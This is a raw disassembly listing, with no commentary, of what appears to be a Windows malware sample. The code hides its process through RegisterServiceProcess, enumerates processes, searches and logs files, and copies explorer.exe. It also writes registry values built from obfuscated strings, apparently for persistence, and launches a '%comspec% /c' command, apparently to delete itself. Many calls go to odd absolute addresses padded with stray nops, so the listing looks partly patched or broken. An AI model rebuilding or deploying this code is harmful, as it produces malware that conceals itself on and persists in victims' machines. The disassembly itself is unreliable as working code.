"\\" mov ecx, eax mov byte ptr [esp+288h+var_4], 3 call sub_4012EE test eax, eax lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl setz [esp+284h+var_279] call sub_401226 cmp [esp+284h+var_279], bl jz short loc_40CE0B mov ecx, [esp+284h+var_221] lea edx, [esp+284h+var_278] push ecx push edx lea ecx, [esp+28Ch+var_232] call sub_401E47 push offset dword_448F34 mov ecx, eax mov byte ptr [esp+288h+var_4], 4 call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 loc_40CE0B: ; CODE XREF: sub_40CC90+142j push ebx lea ecx, [esp+288h+var_232] call sub_4014DD push eax lea ecx, [esp+28Ch+var_247] call sub_4014DD push eax mov eax, [esp+290h+var_219] push eax lea ecx, [esp+294h+var_25C] call sub_40168B mov ecx, [esp+294h+var_260] push eax push ecx call sub_40227A push eax lea edx, [esp+2A0h+var_20C] push offset aFilesFoundD ; "Files Found: %d" push edx nop call sub_5FADE9 mov eax, [esp+2A4h+var_211] add esp, 24h cmp eax, ebx jnz short loc_40CE7C mov eax, [esp+280h+var_215] lea ecx, [esp+280h+var_208] push eax push ecx lea ecx, [esp+288h+var_258] call sub_40168B mov edx, [esp+288h+var_25C] push eax push edx call sub_40152D add esp, 10h loc_40CE7C: ; CODE XREF: sub_40CC90+1C9j mov eax, [esp+280h+var_219] push eax call sub_401E3D add esp, 4 push ebx nop call near ptr 2850405h pop ebx loc_40CE91: ; CODE XREF: sub_40CC90+36j mov ecx, [esp+280h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 27Ch retn 4 sub_40CC90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CF40 proc near ; CODE XREF: sub_40199Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CF40 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_40CF40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CFC0: ; CODE XREF: ___:loc_40228Ej push 0FFFFFFFFh push offset loc_43A086 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+2Eh] mov dword ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+10h], 0 call sub_401226 lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40D040 proc near ; CODE XREF: sub_40227Aj var_548 = byte ptr -548h var_51C = byte ptr -51Ch var_51B = byte ptr -51Bh var_408 = byte ptr -408h var_304 = byte ptr -304h var_200 = byte ptr -200h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h sub esp, 548h lea eax, [esp+548h+var_408] push ebx push ebp push esi mov esi, [esp+554h+arg_10] push edi mov edi, dword_511AE4 push esi push offset aS_1 ; "%s\\*" push 104h push eax call edi ; _snprintf add esp, 10h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 28A0000h mov ebp, [esp+558h+arg_14] mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D107 loc_40D090: ; CODE XREF: sub_40D040+C5j test [esp+558h+var_548], 10h jz short loc_40D0F7 cmp [esp+558h+var_51C], 2Eh jnz short loc_40D0AA mov al, [esp+558h+var_51B] test al, al jz short loc_40D0F7 cmp al, 2Eh jz short loc_40D0F7 loc_40D0AA: ; CODE XREF: sub_40D040+5Cj lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_304] push eax push esi push offset dword_444684 push 104h push ecx call edi ; _snprintf mov eax, [esp+56Ch+arg_C] mov ecx, [esp+56Ch+arg_8] lea edx, [esp+56Ch+var_304] push ebp push edx mov edx, [esp+574h+arg_4] push eax mov eax, [esp+578h+arg_0] push ecx push edx push eax call sub_40227A add esp, 2Ch mov ebp, eax loc_40D0F7: ; CODE XREF: sub_40D040+55j ; sub_40D040+64j ... lea ecx, [esp+558h+var_548] push ecx push ebx nop call near ptr 2890000h test eax, eax jnz short loc_40D090 loc_40D107: ; CODE XREF: sub_40D040+4Ej push ebx nop call near ptr 2880291h mov edx, [esp+558h+arg_C] lea eax, [esp+558h+var_408] push edx push esi push offset dword_444684 push 104h push eax call edi ; _snprintf add esp, 14h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx call near ptr 28A0000h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D19B loc_40D148: ; CODE XREF: sub_40D040+159j lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_200] push eax push esi push offset aFoundSS ; "Found: %s\\%s" push 200h push ecx inc ebp call edi ; _snprintf mov edx, [esp+56Ch+arg_8] mov ecx, [esp+56Ch+arg_4] lea eax, [esp+56Ch+var_200] push edx mov edx, [esp+570h+arg_0] push eax push ecx push edx call sub_40152D add esp, 24h lea eax, [esp+558h+var_548] push eax push ebx nop call near ptr 2890000h test eax, eax jnz short loc_40D148 loc_40D19B: ; CODE XREF: sub_40D040+106j push ebx nop call near ptr 2880291h pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 548h retn sub_40D040 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D210 proc near ; CODE XREF: sub_40104Bj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40D210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 4 push 4 push 1 push 13h lea eax, [esp+58h+var_3C] push 1 mov esi, ecx push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+19h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_40D210 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 13h lea edx, [esp+1Ch] push 1 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+47h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 4 push 1 push 3 push 16h lea ecx, [esp+20h] push 13h push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+75h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 3 push 16h push 13h lea eax, [esp+3Ch] push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE add esi, 0A3h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D3C0: ; CODE XREF: ___:004013CFj sub esp, 104h lea eax, [esp+0] push 104h push eax push 0 call near ptr 28A1D26h nop push eax call near ptr 28A1106h nop mov eax, dword_449070 test eax, eax jz loc_40D4E3 mov ecx, dword_44906C test ecx, ecx jz loc_40D4E3 mov ecx, dword_448F38 test ecx, ecx jz loc_40D4E3 push 0 push 2 call eax ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov dword_449068, eax jz loc_40D4E3 push ebp push offset dword_448F40 push eax xor ebp, ebp mov dword_448F40, 128h call dword_44906C ; Process32First test eax, eax jz loc_40D4CC push ebx mov ebx, [esp+110h] push esi mov esi, dword_511AE0 push edi loc_40D44D: ; CODE XREF: ___:0040D4C7j mov edi, offset dword_448F64 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+10h] repne scasb not ecx dec ecx mov edi, offset dword_448F64 push ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+14h] sub edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push offset dword_448F64 add edx, ecx push edx call esi ; strncmp add esp, 0Ch test eax, eax jz short loc_40D4B3 mov edi, offset dword_448F64 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push offset dword_448F64 mov ecx, ebx call sub_40168B push eax call esi ; strncmp add esp, 0Ch test eax, eax jnz short loc_40D4B4 loc_40D4B3: ; CODE XREF: ___:0040D48Bj inc ebp loc_40D4B4: ; CODE XREF: ___:0040D4B1j mov eax, dword_449068 push offset dword_448F40 push eax call dword_448F38 ; Process32Next test eax, eax jnz short loc_40D44D pop edi pop esi pop ebx loc_40D4CC: ; CODE XREF: ___:0040D437j mov ecx, dword_449068 push ecx nop call near ptr 2860000h mov eax, ebp pop ebp add esp, 104h retn ; --------------------------------------------------------------------------- loc_40D4E3: ; CODE XREF: ___:0040D3E6j ; ___:0040D3F4j ... xor eax, eax add esp, 104h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D540: ; CODE XREF: ___:00401FAFj sub esp, 11Ch lea eax, [esp+18h] push ebx push esi push edi push 104h push eax nop call near ptr 28B0A53h mov edi, offset aExplorer_exe ; "\\explorer.exe" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+24h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx push 80h and ecx, 3 push 3 push eax push 1 rep movsb mov edi, dword_5118F0 lea eax, [esp+38h] push 80000000h push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D606 lea ecx, [esp+1Ch] lea edx, [esp+0Ch] push ecx lea eax, [esp+18h] push edx push eax push esi call near ptr 28B05C0h nop mov ebx, dword_5118E0 push esi call ebx mov ecx, [esp+12Ch] push 0 push 80h push 3 push 0 push 2 push 40000000h push ecx call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D606 lea edx, [esp+1Ch] lea eax, [esp+0Ch] push edx lea ecx, [esp+18h] push eax push ecx push esi call near ptr 28B0000h nop push esi call ebx loc_40D606: ; CODE XREF: ___:0040D5A9j ; ___:0040D5EBj pop edi pop esi pop ebx add esp, 11Ch retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D660 proc near ; CODE XREF: sub_401B6Dj var_19C = byte ptr -19Ch var_184 = byte ptr -184h var_16C = byte ptr -16Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40D660 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi mov esi, ecx push edi lea ecx, [esp+1A8h+var_16C] call sub_40142E push 104h push 104h lea ecx, [esp+1B0h+var_16C] mov [esp+1B0h+var_4], 0 call sub_401C71 push eax nop call near ptr 2810000h lea ecx, [esp+1A8h+var_16C] call sub_4017EE push eax lea ecx, [esi+4] call sub_4015E1 lea ecx, [esp+1A8h+var_184] call sub_40142E mov ebx, 1 push 104h push 104h lea ecx, [esp+1B0h+var_184] mov byte ptr [esp+1B0h+var_4], bl call sub_401C71 push eax push 0 nop call near ptr 28A1D26h push eax call near ptr 28A1106h nop push offset aKernel32_dll_0 ; "kernel32.dll" nop call near ptr 2800886h mov esi, eax test esi, esi jz short loc_40D751 mov edi, dword_511918 push offset aRegisterservic ; "RegisterServiceProcess" push esi call edi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push esi mov dword_449074, eax call edi push offset aProcess32first ; "Process32First" push esi mov dword_449070, eax call edi push offset aProcess32next ; "Process32Next" push esi mov dword_44906C, eax call edi mov dword_448F38, eax mov eax, dword_449074 test eax, eax jz short loc_40D751 push ebx push 0 call eax loc_40D751: ; CODE XREF: sub_40D660+A7j ; sub_40D660+EAj mov esi, [esp+1A8h+arg_0] push 0 mov ecx, esi call sub_4017EE push eax lea ecx, [esp+1B0h+var_184] call sub_402135 test eax, eax jnz short loc_40D788 mov al, byte_44915F test al, al jz short loc_40D788 mov ecx, esi call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 loc_40D788: ; CODE XREF: sub_40D660+10Dj ; sub_40D660+116j push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 12h push 10h push 10h push 0Eh push 9 lea eax, [esp+1D8h+var_19C] push 17h push eax call sub_4019C4 add esp, 38h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 2 call sub_4017EE push eax call sub_401604 sub_40D660 endp ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push 0Fh push 8 push 0Ch push 0Ch lea ecx, [esp+38h] push 4 push ecx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 3 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 4 push 10h push 14h push 6 lea edx, [esp+30h] push 14h push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov byte ptr [esp+1A4h], 4 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push ebx push 0Ch push 2 push 13h lea eax, [esp+38h] push 0Dh push eax call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 5 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 13h push 9 push 0Eh push 5 lea ecx, [esp+38h] push 10h push ecx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 6 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 8 push 3 push 14h push ebx push 10h push 13h lea edx, [esp+38h] push 0Dh push edx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 7 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 9C880C24h, 1A424h, 38D4E800h, 448DFFFFh dd 6A3C24h, 244C8D50h, 3EB4E82Ch, 0C085FFFFh, 116850Fh dd 8B550000h, 3E7CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E70E848h dd 8D50FFFFh, 0A8248Ch, 10680000h, 5100444Bh, 0D457E890h dd 3D8B001Eh, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah dd 8B30244Ch, 3CD9E8E8h, 358BFFFFh, 511914h, 85D6FF50h dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 0E8000007h dd 24428E4h, 24848D90h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CA3h dd 85D6FF50h, 0A0D074C0h, 4497BBh, 74C0845Dh, 0D8358B39h dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B08h, 83D6FF51h dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3DCAh, 9C24948Dh dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah dd 447C24h, 0E8900000h, 2402A48h, 874C085h, 0E890006Ah dd 7782C3FEh, 24244C8Dh, 0A42484C6h, 1, 0FF3795E8h, 244C8DFFh dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3781E8h, 248C8BFFh dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0 ; --------------------------------------------------------------------------- add esp, 19Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DBF0 proc near ; CODE XREF: sub_401195j mov al, byte_449161 test al, al jz short loc_40DC04 push offset word_449162 nop call near ptr 2800C66h loc_40DC04: ; CODE XREF: sub_40DBF0+7j mov al, 1 retn sub_40DBF0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DC20 proc near ; CODE XREF: sub_401E79j var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = byte ptr -6B0h var_6AC = byte ptr -6ACh var_694 = byte ptr -694h var_67C = byte ptr -67Ch var_664 = byte ptr -664h var_64C = byte ptr -64Ch var_634 = byte ptr -634h var_61C = byte ptr -61Ch var_604 = byte ptr -604h var_5EC = byte ptr -5ECh var_5D4 = byte ptr -5D4h var_5BC = byte ptr -5BCh var_5A4 = byte ptr -5A4h var_58C = byte ptr -58Ch var_574 = byte ptr -574h var_564 = dword ptr -564h var_534 = word ptr -534h var_520 = byte ptr -520h var_41C = byte ptr -41Ch var_318 = byte ptr -318h var_214 = byte ptr -214h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40DC20 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6C4h push esi lea eax, [esp+6D4h+var_41C] push 104h push eax push 0 call near ptr 28A1D26h nop push eax nop call near ptr 28A1106h lea ecx, [esp+6D4h+var_318] push ecx push 104h nop call near ptr 27F0000h push 0 push 14h push 1 push 2 push 4Fh push 0Fh push 12h push 6 lea edx, [esp+6F4h+var_5EC] push 1 push edx call sub_4019C4 add esp, 28h mov ecx, eax mov [esp+6D4h+var_4], 0 call sub_4017EE push eax lea eax, [esp+6D8h+var_318] push eax lea ecx, [esp+6DCh+var_520] push offset dword_444684 push ecx call sub_5FADE9 nop add esp, 10h lea ecx, [esp+6D4h+var_5EC] mov [esp+6D4h+var_4], 0FFFFFFFFh call sub_401226 push 0 push 0 push 2 push 0 push 0 lea edx, [esp+6E8h+var_520] push 40000000h push edx nop call near ptr 2880000h mov esi, eax test esi, esi jbe loc_40E178 push ebx push ebp push edi lea ecx, [esp+6E0h+var_6AC] call sub_40142E push 0 push 14h push 1 push 2 lea eax, [esp+6F0h+var_604] push 4Fh push eax mov [esp+6F8h+var_4], 1 call sub_4019C4 mov edi, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 0Ch push 5 lea ecx, [esp+720h+var_634] push 4 push ecx mov byte ptr [esp+728h+var_4], 2 call sub_4019C4 add esp, 48h mov ebp, eax push 0 push 14h push 1 push 2 lea edx, [esp+6F0h+var_664] push 4Fh push edx mov byte ptr [esp+6F8h+var_4], 3 call sub_4019C4 mov ebx, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea eax, [esp+72Ch+var_67C] push 4 push eax mov byte ptr [esp+734h+var_4], 4 call sub_4019C4 add esp, 54h mov [esp+6E0h+var_6B4], eax push 0 push 5 push 0Eh push 0Fh push 4 lea ecx, [esp+6F4h+var_61C] push 53h push ecx mov byte ptr [esp+6FCh+var_4], 5 call sub_4019C4 mov [esp+6FCh+var_6C8], eax mov byte ptr [esp+6FCh+var_4], 6 push 0 push 14h push 12h push 1 push 14h push 13h push 4Eh push 0Fh push 14h push 0Fh lea edx, [esp+724h+var_5D4] push 7 push edx call sub_4019C4 add esp, 4Ch mov [esp+6E0h+var_6B8], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 0Ch push 5 lea eax, [esp+708h+var_5A4] push 4 push eax mov byte ptr [esp+710h+var_4], 7 call sub_4019C4 mov [esp+710h+var_6C0], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea ecx, [esp+744h+var_58C] push 4 push ecx mov byte ptr [esp+74Ch+var_4], 8 call sub_4019C4 add esp, 6Ch mov [esp+6E0h+var_6D0], eax push 0 push 5 push 0Eh push 0Fh push 4 push 4Eh push 0Fh push 14h push 0Fh push 7 push 4Eh push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 14h push 13h push 9 push 18h push 5 push 4Eh push 14h mov byte ptr [esp+744h+var_4], 9 push 0Fh push 0Eh push 4Eh push 6 lea edx, [esp+754h+var_694] push 9 push edx call sub_4019C4 mov [esp+75Ch+var_6CC], eax push 0 push 14h push 12h push 1 push 14h push 13h lea eax, [esp+774h+var_5BC] push 53h push eax mov byte ptr [esp+77Ch+var_4], 0Ah call sub_4019C4 add esp, 9Ch mov [esp+6E0h+var_6C4], eax push 0 push 6 push 6 push 0Fh push 4Eh push 0Fh push 8 push 3 push 5 lea ecx, [esp+704h+var_64C] push 56h push ecx mov byte ptr [esp+70Ch+var_4], 0Bh call sub_4019C4 add esp, 2Ch mov [esp+6E0h+var_6BC], eax mov ecx, edi mov byte ptr [esp+6E0h+var_4], 0Ch call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax mov ecx, ebx call sub_4017EE mov ecx, [esp+6E8h+var_6B4] push eax call sub_4017EE mov ecx, [esp+6ECh+var_6C8] push eax call sub_4017EE mov ecx, [esp+6F0h+var_6B8] push eax call sub_4017EE mov ecx, [esp+6F4h+var_6C0] push eax call sub_4017EE mov ecx, [esp+6F8h+var_6D0] push eax call sub_4017EE mov ecx, [esp+6FCh+var_6CC] push eax call sub_4017EE mov ecx, [esp+700h+var_6C4] push eax call sub_4017EE mov ecx, [esp+704h+var_6BC] push eax call sub_4017EE push eax lea edx, [esp+70Ch+var_6AC] push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n" push edx call sub_40102D add esp, 34h mov byte ptr [esp+6E0h+var_4], 0Bh lea ecx, [esp+6E0h+var_64C] call sub_401226 lea ecx, [esp+6E0h+var_5BC] mov byte ptr [esp+6E0h+var_4], 0Ah call sub_401226 lea ecx, [esp+6E0h+var_694] mov byte ptr [esp+6E0h+var_4], 9 call sub_401226 lea ecx, [esp+6E0h+var_58C] mov byte ptr [esp+6E0h+var_4], 8 call sub_401226 lea ecx, [esp+6E0h+var_5A4] mov byte ptr [esp+6E0h+var_4], 7 call sub_401226 lea ecx, [esp+6E0h+var_5D4] mov byte ptr [esp+6E0h+var_4], 6 call sub_401226 lea ecx, [esp+6E0h+var_61C] mov byte ptr [esp+6E0h+var_4], 5 call sub_401226 lea ecx, [esp+6E0h+var_67C] mov byte ptr [esp+6E0h+var_4], 4 call sub_401226 lea ecx, [esp+6E0h+var_664] mov byte ptr [esp+6E0h+var_4], 3 call sub_401226 lea ecx, [esp+6E0h+var_634] mov byte ptr [esp+6E0h+var_4], 2 call sub_401226 lea ecx, [esp+6E0h+var_604] mov byte ptr [esp+6E0h+var_4], 1 call sub_401226 lea eax, [esp+6E0h+var_6B0] push 0 push eax push 69h lea ecx, [esp+6ECh+var_6AC] call sub_4017EE push eax push esi nop call near ptr 2800000h push esi nop call near ptr 2860000h mov ecx, 11h xor eax, eax lea edi, [esp+6E0h+var_564] push 104h rep stosd lea ecx, [esp+6E4h+var_41C] mov [esp+6E4h+var_564], 44h push ecx push eax mov [esp+6ECh+var_534], ax nop call near ptr 28A1D26h push eax call near ptr 28A1106h nop lea edx, [esp+6E0h+var_41C] lea eax, [esp+6E0h+var_520] push edx push eax lea ecx, [esp+6E8h+var_214] push offset aComspecCSS ; "%%comspec%% /c %s %s" push ecx call sub_5FADE9 nop add esp, 10h lea edx, [esp+6E0h+var_110] lea eax, [esp+6E0h+var_214] push 104h push edx push eax call near ptr 2820000h nop lea ecx, [esp+6E0h+var_574] lea edx, [esp+6E0h+var_564] push ecx push edx push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [esp+700h+var_110] push eax push 0 nop call near ptr 28104BCh lea ecx, [esp+6E0h+var_6AC] mov [esp+6E0h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop ebp pop ebx mov al, 1 pop esi mov ecx, [esp+6D0h+var_C] mov large fs:0, ecx add esp, 6D0h retn ; --------------------------------------------------------------------------- loc_40E178: ; CODE XREF: sub_40DC20+D6j mov ecx, [esp+6D4h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 6D0h retn sub_40DC20 endp ; --------------------------------------------------------------------------- db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E2F0 proc near ; CODE XREF: sub_401730j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40E2F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_54] call sub_40142E lea ecx, [esp+80h+var_6C] mov [esp+80h+var_4], 0 call sub_40142E lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_40142E push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019C4 add esp, 0CCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 3 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019C4 add esp, 0DCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 4 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019C4 add esp, 0BCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 5 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE mov ebp, dword_51175C push eax push 80000002h call ebp mov esi, [esp+80h+arg_4] mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B mov ebx, [esp+84h+arg_0] push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2960000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2920000h push 0 lea eax, [esp+84h+var_70] lea ecx, [esp+84h+var_6C] push eax push 0 push 0F003Fh push 0 push 0 push 0 call sub_4017EE push eax push 80000002h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B 